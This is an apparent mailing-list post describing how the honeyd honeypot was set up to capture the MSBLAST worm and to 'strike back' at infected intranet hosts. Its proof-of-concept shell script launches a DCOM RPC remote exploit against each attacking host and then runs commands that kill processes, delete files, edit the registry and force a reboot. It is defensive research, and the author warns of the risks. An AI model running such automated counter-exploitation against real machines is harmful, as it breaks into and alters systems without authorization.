Fighting worms with honeypots : honeyd vs msblast.exe

[oudot <oudot () rstack org>]

While trying to help the community to fight the evil worm MSBLAST, i 
looked at my favourite honeypot, called honeyd, to check if we could not 
play with the worm itself (Labrea played with another worm in the 
past... the past should not be forgotten).

[Honeyd is a free software product by Niels Provos : 
http://www.citi.umich.edu/u/provos/honeyd]

As i saw a growing number of TCP requests against my honeyd (port 135) i 
decided to open the port (look at honeyd conf file for that) :
---8<---
add template tcp port 135 open
---8<---

Wooo, i got plenty of (fake) TCP sessions against this port. A tcpdump 
could allow to learn what was launched against this port (tcpdump -n -w 
135.cap -s 1514 tcp and port 135). This could be used to analyse the 
virus network payload and shellcode.

Then i learned that the worm called MSBLAST wanted to get a shell over 
the 4444 TCP port. So i created a fake service over the TCP port 4444, 
to play with the worm :
---8<---
add template tcp port 4444 "/bin/sh scripts/4444.sh $ipsrc $ipdst"
---8<---

Owing to this 4444.sh script, it was then able to begin to work with the 
worm itself.
Almost firstable, this script 4444.sh was used to suck the worm directly 
from the attacker. Here is an example that i created for fun with 
moutane (rstack team) :
---8<---
#!/bin/sh
# we create a temporary directory for each specific attacker
# to be sure we get every version on the wild
mkdir /tmp/$1-$2
cd /tmp/$1-$2
# we connect via tftp to the attacker
# and we get the msblast.exe file
tftp $1 << EOF
get msblast.exe
quit
EOF
---8<---

I restarted my honeyd. Then, every hosts owned by msblast that was 
attacking my honeypot, first saw that the port 135 was opened. They then 
sent their evil payload on it, and naturally tryed to launch their 
commands on the port 4444...
I got the msblast.exe file in less than 5 minutes (internet is so evil 
you know...) and give it to a friend for an internal analysis in the 
rstack team.

Hmmm. This script (4444.sh) can easily be modified to do better things, 
that's what we thought about...

Imagine that the honeypot sees an Msblast attack coming from a host. 
That should mean that the host is infected by Msblast, right ?!

So, on an intranet, we tried to look at the possibility to automatically 
clean an msblast'ed host that would attack the honeypot !

To be able to do that, we would only have to launch the same attack 
against the attacker itself, in order to get a shell, and to kill the 
evil process, and so on ("use the force luke...")

Bad thing would say laws-addicted guys. True. I agree.

So the idea was to strike back only against host from our internal 
network, to avoid an attack against hosts that we don't manage (we 
filtered the trafic in the final script and on an outbound router).

[!] This idea is very dangerous, cause bad people could use that to 
automatically abuse infected hosts that attack them. I won't talk too 
much about that to avoid another black hat script kiddy wave on the net.

Here is a funny proof of concept made with VG and Moutane for a 4444.sh 
shell script.
When an infected host attacks the honeypot, honeyd launch the script 
that will connect itself to the infected attacker using the RPC DCOM 
remote exploit made by [oc192.us], gaining a shell too !
Then it will kill the process msblast.exe, the associated files on the 
disk, and the will clean the registry.
Remember it's a proof of concept.
It will work against Windows XP hosts :

---8<---
#!/bin/sh
# launch the exploit against the internal attacker
/usr/local/bin/evil_exploit_dcom -d $1 -t 1 -l 4445 << EOF
taskkill /f /im msblast.exe /t
del /f %SystemRoot%\System32\msblast.exe
echo Windows Registry Editor Version 5.00 > c:\cleaner_msblast.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 
>> c:\cleaner_msblast.reg
echo "windows auto update" = "REM msblast.exe" >> c:\cleaner_msblast.reg
regedit /s c:\cleaner_msblast.reg
del /f c:\cleaner_msblast.reg
shutdown -r -f -t 0
exit
EOF
---8<---

We tried it.
It worked :-)
Every msblasted infected hosts on our intranet, while attacking the 
honeypot, received a strong strike back answer, destroying the worm on 
it ("in your face, from downtown").

If you search something better to remove the worm, you can replace part 
of the script by a simple : "cscript cleaner.vbs" where cleaner.vbs 
could be inspired by http://www.rstack.org/oudot/cleaner.vbs

You can also try to automatically install the patch on the infected host 
(look at microsoft web site for that, they propose a vbs script).


Honeyd, used like that, is more than a Honeypot, it also plays the role 
of a kind of IDS (who is infected) and Intrusion Prevention System...


Big thanks to moutane and vg from the team rstack for their help and 
ideas for the tests (infected hosts, etc).


life is short, have fun.


oudot () rstack org
member of the team rstack
http://www.rstack.org

NB: To force honeyd to answer to every hosts, launch arpd without 
argument, and use a honeyd config file like that :
---8<---
create default
set default personality "Windows XP Pro"
add default tcp port 135 open
add default tcp port 4444 "/bin/sh scripts/4444.sh $ipsrc $ipdst"
set default tcp action block
set default udp action block
set default uid 32767 gid 32767
---8<---